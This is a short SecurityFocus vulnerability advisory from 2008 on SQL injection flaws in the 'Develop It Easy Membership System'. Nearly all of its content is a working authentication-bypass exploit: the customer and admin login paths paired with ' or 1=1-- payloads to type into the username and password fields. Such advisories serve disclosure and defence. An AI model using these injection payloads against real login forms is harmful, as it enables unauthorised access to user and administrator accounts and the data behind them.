Search: Home Bugtraq Vulnerabilities Mailing Lists Jobs Tools Vista

Develop It Easy Membership System Multiple SQL Injection Vulnerabilities

Attackers can use a browser to exploit these issues.

The following example URIs are available:

http://www.example.com/membership_system/customer_login.php
user : cyb3r-1st ' or ' 1=1-- ( or u can use ' or 1=1-- )
pass : cyb3r-1st ' or ' 1=1-- ( or u can use ' or 1=1-- )

http://www.example.com/membership_system/admin
user : cyb3r-1st ' or ' 1=1-- ( or u can use ' or 1=1-- )
pass : cyb3r-1st ' or ' 1=1-- ( or u can use ' or 1=1-- )







 

Privacy Statement
Copyright 2008, SecurityFocus